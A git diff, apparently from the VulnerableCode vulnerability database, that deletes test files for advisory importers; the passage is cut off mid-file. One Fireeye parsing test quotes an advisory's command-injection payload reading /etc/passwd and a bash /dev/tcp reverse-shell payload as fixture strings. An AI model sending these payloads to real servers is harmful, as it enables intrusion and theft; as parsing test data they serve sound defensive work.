- type="rpm", - namespace="rpms", - name="python", - version="3.7.0", - qualifiers={}, - subpath=None, - ), - references=[Reference(reference_id="", url="https://www.example.com/", severities=[])], - ) - result = list(default_improver.get_inferences(advisory_data)) - expected = [expected_inference] - assert result == expected - - -def test_default_improver_with_alpine(): - """ - Test that DefaultImprover.get_inferences() returns an empty list when given an advisory with alpine advisories - """ - default_improver = DefaultImprover() - response_file = os.path.join(TEST_DATA, f"alpine-input.json") - with open(response_file) as f: - advisory_data = json.load(f) - expected_file = os.path.join(TEST_DATA, f"alpine-expected.json") - result = [ - data.to_dict() - for data in list(default_improver.get_inferences(AdvisoryData.from_dict(advisory_data))) - ] - util_tests.check_results_against_json(result, expected_file) - - -def test_default_improver_with_nvd(): - default_improver = DefaultImprover() - response_file = os.path.join(TEST_DATA, f"nvd-input.json") - - with open(response_file) as f: - advisory_data = json.load(f) - expected_file = os.path.join(TEST_DATA, f"nvd-expected.json") - result = [ - data.to_dict() - for data in list(default_improver.get_inferences(AdvisoryData.from_dict(advisory_data))) - ] - util_tests.check_results_against_json(result, expected_file) - - -def test_AffectedPackage_from_dict_should_not_crash_with_invalid_version_range(): - package = PackageURL( - type="rpm", - namespace="rpms", - name="python", - qualifiers={}, - subpath=None, - ) - - test_ranges = [ - # foo is a non-existing range - "vers:foo/1.2.3", - # apache was not supported and returned from vulnerabilities.importers.apache_httpd.ApacheHTTPDImporter - "vers:apache/", - None, - ] - for tr in test_ranges: - pkg = { - "package": package.to_dict(), - "affected_version_range": tr, - "fixed_version": None, - } - - assert AffectedPackage.from_dict(pkg) is None diff --git a/vulnerabilities/tests/test_elixir_security.py b/vulnerabilities/tests/test_elixir_security.py deleted file mode 100644 index 2531ed695..000000000 --- a/vulnerabilities/tests/test_elixir_security.py +++ /dev/null @@ -1,61 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from pathlib import Path -from unittest.mock import patch - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.elixir_security import ElixirSecurityImporter -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import ElixirImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DIR = os.path.join(BASE_DIR, "test_data/elixir_security/") - - -def test_elixir_process_file(): - path = os.path.join(TEST_DIR, "test_file.yml") - expected_file = os.path.join(TEST_DIR, f"elixir-expected.json") - result = [ - data.to_dict() - for data in list(ElixirSecurityImporter().process_file(Path(path), Path(path).parent)) - ] - util_tests.check_results_against_json(result, expected_file) - - -@patch("vulnerabilities.improvers.valid_versions.ElixirImprover.get_package_versions") -def test_elixir_improver(mock_response): - advisory_file = os.path.join(TEST_DIR, f"elixir-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "0.1.0", - "0.5.6", - "0.5.2", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [ElixirImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DIR, f"elixir-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_example.py b/vulnerabilities/tests/test_example.py deleted file mode 100644 index dfde6425d..000000000 --- a/vulnerabilities/tests/test_example.py +++ /dev/null @@ -1,94 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from pathlib import Path -from unittest.mock import patch - -import pytest -from commoncode import testcase - -from vulnerabilities import models -from vulnerabilities.import_runner import ImportRunner -from vulnerabilities.improve_runner import ImproveRunner -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.tests import util_tests -from vulnerabilities.tests.example_importer_improver import ExampleAliasImprover -from vulnerabilities.tests.example_importer_improver import ExampleImporter -from vulnerabilities.tests.example_importer_improver import parse_advisory_data - - -def mock_fetch_advisory_data(): - return [ - { - "id": "CVE-2021-12341337", - "summary": "Dummy advisory", - "advisory_severity": "high", - "vulnerable": "0.6.18-1.20.0", - "fixed": "1.20.1", - "reference": "http://example.com/cve-2021-1234", - "published_on": "06-10-2021 UTC", - "url": "http://example.com/cve-2021-1234", - } - ] - - -def mock_fetch_additional_aliases(alias): - alias_map = { - "CVE-2021-12341337": ["ANONSEC-1337", "CERTDES-1337"], - } - return alias_map.get(alias) - - -@patch( - "vulnerabilities.tests.example_importer_improver.fetch_advisory_data", mock_fetch_advisory_data -) -@patch( - "vulnerabilities.tests.example_importer_improver.fetch_additional_aliases", - mock_fetch_additional_aliases, -) -class TestExampleImporter(testcase.FileBasedTesting): - - test_data_dir = str(Path(__file__).resolve().parent / "test_data" / "example") - - def test_parse_advisory_data(self): - raw_data = { - "id": "CVE-2021-12341337", - "summary": "Dummy advisory", - "advisory_severity": "high", - "vulnerable": "0.6.18-1.20.0", - "fixed": "1.20.1", - "reference": "http://example.com/cve-2021-1234", - "published_on": "06-10-2021 UTC", - "url": "http://example.com/cve-2021-1234", - } - expected_file = self.get_test_loc("parse_advisory_data-expected.json", must_exist=False) - result = parse_advisory_data(raw_data).to_dict() - util_tests.check_results_against_json(result, expected_file) - - @pytest.mark.django_db(transaction=True) - def test_import_framework_using_example_importer(self): - ImportRunner(ExampleImporter).run() - - for expected in mock_fetch_advisory_data(): - assert models.Alias.objects.get(alias=expected["id"]).advisories.all() - - @pytest.mark.django_db(transaction=True) - def test_improve_framework_using_example_improver(self): - ImportRunner(ExampleImporter).run() - ImproveRunner(improver_class=DefaultImprover).run() - ImproveRunner(improver_class=ExampleAliasImprover).run() - - assert models.Package.objects.count() == 3 - assert models.FixingPackageRelatedVulnerability.objects.count() == 1 - assert models.AffectedByPackageRelatedVulnerability.objects.count() == 2 - assert models.VulnerabilitySeverity.objects.count() == 1 - assert models.VulnerabilityReference.objects.count() == 1 - - for expected in mock_fetch_advisory_data(): - assert models.Vulnerability.objects.get(summary=expected["summary"]) diff --git a/vulnerabilities/tests/test_export.py b/vulnerabilities/tests/test_export.py deleted file mode 100644 index 244940261..000000000 --- a/vulnerabilities/tests/test_export.py +++ /dev/null @@ -1,123 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from io import StringIO -from pathlib import Path -from unittest import TestCase - -from django.core.management import call_command -from django.core.management.base import CommandError -from pytest import fixture -from pytest import mark -from pytest import raises - -from aboutcode import hashid -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import Alias -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.tests.util_tests import check_results_and_expected_files - -TEST_DATA_DIR = Path(__file__).parent / "test_data" / "export_command" - -VCID = "VCID-pst6-b358-aaap" -PURL = "pkg:generic/nginx/test@2" - - -@fixture -def package(db): - return Package.objects.from_purl(PURL) - - -@fixture -def vulnerability_reference(): - return VulnerabilityReference.objects.create(reference_id="fake", url=f"https://..") - - -@fixture -def vulnerability_severity(vulnerability_reference): - return VulnerabilitySeverity.objects.create( - scoring_system="cvssv3_vector", - value="7.0", - scoring_elements="CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - url=f"https://..", - ) - - -@fixture -def vulnerability(db, vulnerability_reference, vulnerability_severity): - vulnerability = Vulnerability.objects.create(vulnerability_id=VCID, summary="test-vuln") - Alias.objects.create(alias=f"CVE-xxx-xxx-xx", vulnerability=vulnerability) - - VulnerabilityRelatedReference.objects.create( - reference=vulnerability_reference, - vulnerability=vulnerability, - ) - - weakness = Weakness.objects.create(cwe_id=15) - vulnerability.weaknesses.add(weakness) - vulnerability.severities.add(vulnerability_severity) - - return vulnerability - - -@fixture -def package_related_vulnerability(db, package, vulnerability): - AffectedByPackageRelatedVulnerability.objects.create( - package=package, - vulnerability=vulnerability, - ) - return package - - -class TestExportCommand(TestCase): - def test_missing_path(self): - with raises(CommandError) as cm: - call_command("export", stdout=StringIO()) - - err = str(cm) - assert "Error: the following arguments are required: path" in err - - @mark.django_db - def test_bad_path_fail_error(self): - with raises(CommandError) as cm: - call_command("export", "/bad path", stdout=StringIO()) - - err = str(cm) - assert "Enter a valid directory path" in err - - -@mark.django_db -def test_run_export_command( - tmp_path, - package_related_vulnerability, - vulnerability_reference, - vulnerability_severity, -): - - call_command("export", tmp_path, stdout=StringIO()) - - vcid_file = hashid.get_vcid_yml_file_path(vcid=VCID) - results_vuln = tmp_path / vcid_file - expected_vuln = TEST_DATA_DIR / vcid_file - check_results_and_expected_files(results_vuln, expected_vuln) - - vulns_file = hashid.get_package_vulnerabilities_yml_file_path(purl=PURL) - results_pkgvulns = tmp_path / vulns_file - expected_pkgvulns = TEST_DATA_DIR / vulns_file - check_results_and_expected_files(results_pkgvulns, expected_pkgvulns) - - purls_file = hashid.get_package_purls_yml_file_path(purl=PURL) - results_pkgpurls = tmp_path / purls_file - expected_pkgpurls = TEST_DATA_DIR / purls_file - check_results_and_expected_files(results_pkgpurls, expected_pkgpurls) diff --git a/vulnerabilities/tests/test_fireeye.py b/vulnerabilities/tests/test_fireeye.py deleted file mode 100644 index 320a660a7..000000000 --- a/vulnerabilities/tests/test_fireeye.py +++ /dev/null @@ -1,236 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import os -from pathlib import Path -from unittest import TestCase - -from vulnerabilities.importer import Reference -from vulnerabilities.importers.fireeye import get_aliases -from vulnerabilities.importers.fireeye import get_references -from vulnerabilities.importers.fireeye import get_weaknesses -from vulnerabilities.importers.fireeye import md_list_to_dict -from vulnerabilities.importers.fireeye import parse_advisory_data -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/fireeye") - - -class TestFireeyeImporter(TestCase): - def test_md_list_to_dict(self): - md_list = [ - "# FEYE-2020-0004", - "## Description", - "AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934.", - "## Impact", - "High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment.", - "## Exploitability", - "High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file.", - "## CVE Reference", - "CVE-2020-10948", - "## Technical Details", - "Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters", - "Affected URL:", - "http:////cgibin/af2.cgi", - "Example attack payload:", - "POST //cgibin/af2.cgi HTTP/1.1
    ", - "Host:
    ", - "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
    ", - "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    ", - "Accept-Language: en-US,en;q=0.5
    ", - "Accept-Encoding: gzip, deflate
    ", - "Connection: close
    ", - "Upgrade-Insecure-Requests: 1
    ", - "Content-Length: 38
    ", - "_browser_out=%7Ccat%20/etc/passwd%7C", - "Reverse Shell Example:", - "_browser_out=%7Cbash+-i+>%26+/dev/tcp//8080+0>%261%7C", - "## Resolution", - "Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support.", - "## Discovery Credits", - "Nikhith Tummalapalli, Mandiant FireEye", - "## Disclosure Timeline", - "- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back", - "- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information", - "- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.", - "- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.", - "- 24 Mar 2020: Reserved CVE with Mitre after 90 days", - "- 1 April 2020: Posted and notified Mitre of reference", - "## References ", - "- http://1-4a.com/cgi-bin/alienform/af.cgi", - "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", - "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", - ] - assert md_list_to_dict(md_list) == { - "# FEYE-2020-0004": [], - "## Description": [ - "AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934." - ], - "## Impact": [ - "High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment." - ], - "## Exploitability": [ - "High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file." - ], - "## CVE Reference": ["CVE-2020-10948"], - "## Technical Details": [ - "Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters", - "Affected URL:", - "http:////cgibin/af2.cgi", - "Example attack payload:", - "POST //cgibin/af2.cgi HTTP/1.1
    ", - "Host:
    ", - "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
    ", - "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    ", - "Accept-Language: en-US,en;q=0.5
    ", - "Accept-Encoding: gzip, deflate
    ", - "Connection: close
    ", - "Upgrade-Insecure-Requests: 1
    ", - "Content-Length: 38
    ", - "_browser_out=%7Ccat%20/etc/passwd%7C", - "Reverse Shell Example:", - "_browser_out=%7Cbash+-i+>%26+/dev/tcp//8080+0>%261%7C", - ], - "## Resolution": [ - "Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support." - ], - "## Discovery Credits": ["Nikhith Tummalapalli, Mandiant FireEye"], - "## Disclosure Timeline": [ - "- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back", - "- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information", - "- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.", - "- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.", - "- 24 Mar 2020: Reserved CVE with Mitre after 90 days", - "- 1 April 2020: Posted and notified Mitre of reference", - ], - "## References ": [ - "- http://1-4a.com/cgi-bin/alienform/af.cgi", - "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", - "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", - ], - } - - def test_get_ref(self): - assert get_references( - [ - "- http://1-4a.com/cgi-bin/alienform/af.cgi", - "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", - "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", - ] - ) == [ - Reference(url="http://1-4a.com/cgi-bin/alienform/af.cgi"), - Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934"), - Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948"), - ] - assert get_references( - [ - "- [Mitre CVE-2021-42712](https://www.cve.org/CVERecord?id=CVE-2021-42712)", - ] - ) == [ - Reference(url="https://www.cve.org/CVERecord?id=CVE-2021-42712"), - ] - assert get_references( - [ - "[Mitre CVE-2021-42712](https://www.cve.org/CVERecord?id=CVE-2021-42712)", - ] - ) == [ - Reference(url="https://www.cve.org/CVERecord?id=CVE-2021-42712"), - ] - assert get_references([]) == [] - - def test_get_aliases(self): - assert get_aliases("MNDT-2021-0012", ["CVE-2021-44207"]) == [ - "CVE-2021-44207", - "MNDT-2021-0012", - ] - assert get_aliases("MNDT-2021-0012", []) == ["MNDT-2021-0012"] - - def test_parse_advisory_data_1(self): - with open(os.path.join(TEST_DATA, "fireeye_test1.md")) as f: - mock_response = f.read() - expected_file = os.path.join(TEST_DATA, f"fireeye_test1_expect.json") - - imported_data = parse_advisory_data( - mock_response, Path(expected_file), Path(expected_file).parent - ) - result = imported_data.to_dict() - - util_tests.check_results_against_json(result, expected_file) - - def test_parse_advisory_data_2(self): - with open(os.path.join(TEST_DATA, "fireeye_test2.md")) as f: - mock_response = f.read() - expected_file = os.path.join(TEST_DATA, f"fireeye_test2_expect.json") - imported_data = parse_advisory_data( - mock_response, Path(expected_file), Path(expected_file).parent - ) - result = imported_data.to_dict() - - util_tests.check_results_against_json(result, expected_file) - - def test_md_list_to_dict_2(self): - expected_output = { - "# MNDT-2023-0017\n": [ - "\n", - "The IBM Personal Communications (PCOMM) application 13.0.0 and earlier caused a user's plaintext password to be written to the `C:\\Temp\\pcsnp_init.log` file when re-connection was made through a remote desktop protocol.\n", - "\n", - ], - "## Common Weakness Enumeration\n": [ - "CWE-312: Cleartext Storage of Sensitive Information\n", - "\n", - ], - "## Impact\n": [ - "High - An attacker with low-privilege access to a host with IBM PCOMM could recover the plaintext password of another user.\n", - "\n", - ], - "## Exploitability\n": [ - "Low - Exploitability varies depending on the environment in which IBM PCOMM is installed. Mandiant identified this vulnerability when conducting independent security research for a client that used Citrix to connect to shared Windows Server instances. In certain environments where remote desktop is used to connect to shared hosts with IBM PCOMM installed, the exploitability is greatly increased.\n", - "\n", - ], - "## CVE Reference\n": ["CVE-2016-0321 - scope expanded\n", "\n"], - "## Technical Details\n": [ - "While conducting independent security research, Mandiant identified a plaintext Active Directory password stored within the `C:\\Temp\\pcsnp_init.log` file. The affected host had IBM PCOMM version 13.0.0 installed and was used by multiple users who connected with Citrix. Upon a user connecting, disconnecting, and connecting again, the user's plaintext password was stored in the `C:\\Temp\\pcsnp_init.log` file.\n", - "\n", - ], - "## Discovery Credits\n": [ - "- Adin Drabkin, Mandiant\n", - "- Matthew Rotlevi, Mandiant\n", - "\n", - ], - "## Disclosure Timeline\n": [ - "- 2023-09-26 - Issue reported to the vendor.\n", - "- 2023-11-03 - The vendor updated the security bulletin for CVE-2016-0321 to include all known affected and fixed versions.\n", - "\n", - ], - "## References\n": [ - "- [IBM Security Bulletin](https://www.ibm.com/support/pages/security-bulletin-ibm-personal-communications-could-allow-remote-user-obtain-sensitive-information-including-user-passwords-allowing-unauthorized-access-cve-2016-0321)\n", - "- [IBM Personal Communications](https://www.ibm.com/support/pages/ibm-personal-communications)\n", - "- [Mitre CVE-2016-0321](https://www.cve.org/CVERecord?id=CVE-2016-0321)\n", - ], - } - with open(os.path.join(TEST_DATA, "fireeye_test3.md"), encoding="utf-8-sig") as f: - md_list = f.readlines() - md_dict = md_list_to_dict(md_list) - assert md_dict == expected_output - - def test_get_weaknesses(self): - assert get_weaknesses( - [ - "CWE-379: Creation of Temporary File in Directory with Insecure Permissions", - "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')", - ] - ) == [379, 362] - assert ( - get_weaknesses( - [ - "CWE-2345: This cwe id does not exist so it should generate Invalid CWE id error and return empty list." - ] - ) - == [] - ) diff --git a/vulnerabilities/tests/test_fix_models.py b/vulnerabilities/tests/test_fix_models.py deleted file mode 100644 index cc94a41ec..000000000 --- a/vulnerabilities/tests/test_fix_models.py +++ /dev/null @@ -1,66 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from django.contrib.auth import get_user_model -from django.test import TestCase -from packageurl import PackageURL - -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import FixingPackageRelatedVulnerability -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability - -User = get_user_model() - - -class TestPackageModel(TestCase): - def setUp(self): - vuln1 = Vulnerability.objects.create( - summary="test-vuln", - ) - vuln2 = Vulnerability.objects.create( - summary="test-vuln1", - ) - for i in range(0, 10): - query_kwargs = dict( - type="generic", - namespace="nginx", - name="test", - version=str(i), - qualifiers={}, - subpath="", - ) - vuln_package = Package.objects.create(**query_kwargs) - # Attaching same package to 2 vulnerabilities - AffectedByPackageRelatedVulnerability.objects.create( - package=vuln_package, - vulnerability=vuln1, - ) - FixingPackageRelatedVulnerability.objects.create( - package=vuln_package, - vulnerability=vuln2, - ) - - def test_get_vulnerable_packages(self): - vuln_packages = Package.objects.vulnerable() - assert vuln_packages.count() == 10 - assert vuln_packages.distinct().count() == 10 - vuln_purls = [pkg.purl for pkg in vuln_packages.distinct().only(*PackageURL._fields)] - assert vuln_purls == [ - "pkg:generic/nginx/test@0", - "pkg:generic/nginx/test@1", - "pkg:generic/nginx/test@2", - "pkg:generic/nginx/test@3", - "pkg:generic/nginx/test@4", - "pkg:generic/nginx/test@5", - "pkg:generic/nginx/test@6", - "pkg:generic/nginx/test@7", - "pkg:generic/nginx/test@8", - "pkg:generic/nginx/test@9", - ] diff --git a/vulnerabilities/tests/test_forms.py b/vulnerabilities/tests/test_forms.py deleted file mode 100644 index b5ee73424..000000000 --- a/vulnerabilities/tests/test_forms.py +++ /dev/null @@ -1,41 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import time - -from django.test import Client -from django.test import TestCase - -from vulnerabilities.forms import VulnerabilitySearchForm -from vulnerabilities.models import Vulnerability - -# class TestVulnerabilitySearchForm(TestCase): -# def setUp(self) -> None: -# self.client = Client() -# session = self.client.session -# session["altcha_verified_at"] = time.time() -# session.save() -# self.vulnerability = Vulnerability.objects.create( -# vulnerability_id="VCID-1234", -# summary="test-vuln1", -# ) - -# def test_VulnerabilitySearchForm__is_valid_with_simple_input(self): -# form = VulnerabilitySearchForm(data={"search": "vcid-1234"}) -# assert form.is_valid() - -# def test_vulnerabilities_search_view_can_lookup_by_vcid(self): -# vcid = self.vulnerability.vulnerability_id -# response = self.client.get(f"/vulnerabilities/{vcid}?search=vcid-1234") -# self.assertContains(response, "test-vuln1", status_code=200) - -# def test_vulnerabilities_search_view_does_not_work_by_pk(self): -# pk = self.vulnerability.pk -# response = self.client.get(f"/vulnerabilities/{pk}") -# self.assertEqual(response.status_code, 404) diff --git a/vulnerabilities/tests/test_gentoo.py b/vulnerabilities/tests/test_gentoo.py deleted file mode 100644 index 74bbaedd8..000000000 --- a/vulnerabilities/tests/test_gentoo.py +++ /dev/null @@ -1,34 +0,0 @@ -# -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import os -import unittest -import xml.etree.ElementTree as ET -from collections import OrderedDict - -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.importers.gentoo import GentooImporter -from vulnerabilities.tests import util_tests -from vulnerabilities.utils import AffectedPackage - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DIR = os.path.join(BASE_DIR, "test_data/gentoo") - - -def test_gentoo_import(): - file = os.path.join(TEST_DIR, "glsa-201709-09.xml") - advisories = GentooImporter().process_file(file) - result = [adv.to_dict() for adv in advisories] - expected_file = os.path.join(TEST_DIR, "gentoo-expected.json") - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_github_osv.py b/vulnerabilities/tests/test_github_osv.py deleted file mode 100644 index 081cfa0e1..000000000 --- a/vulnerabilities/tests/test_github_osv.py +++ /dev/null @@ -1,126 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import json -import os -from unittest import TestCase - -from vulnerabilities.importers.osv import parse_advisory_data -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/github_osv") - - -class GithubOSVImporter(TestCase): - def test_github_osv_importer1(self): - with open(os.path.join(TEST_DATA, "github_osv_test_1.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_1.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["npm"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_1.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer2(self): - with open(os.path.join(TEST_DATA, "github_osv_test_2.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_2.json") - # if supported_ecosystems = [] : the expected affected_packages = [] - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=[], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_2.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer3(self): - with open(os.path.join(TEST_DATA, "github_osv_test_3.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_3.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["maven"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_3.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer4(self): - with open(os.path.join(TEST_DATA, "github_osv_test_4.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_4.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["gem"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_4.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer5(self): - # test golang - with open(os.path.join(TEST_DATA, "github_osv_test_5.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_5.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["golang"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_5.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer6(self): - # test golang - with open(os.path.join(TEST_DATA, "github_osv_test_6.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_6.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["golang"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_6.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer7(self): - with open(os.path.join(TEST_DATA, "github_osv_test_7.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_7.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["nuget"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_7.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_github_osv_importer8(self): - with open(os.path.join(TEST_DATA, "github_osv_test_8.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "github_osv_expected_8.json") - imported_data = parse_advisory_data( - mock_response, - supported_ecosystems=["pypi"], - advisory_url="https://github.com/github/advisory-database" - "/blob/main/advisories/github-reviewed/github_osv_test_8.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_gsd.py b/vulnerabilities/tests/test_gsd.py deleted file mode 100644 index 41bfeff52..000000000 --- a/vulnerabilities/tests/test_gsd.py +++ /dev/null @@ -1,240 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights 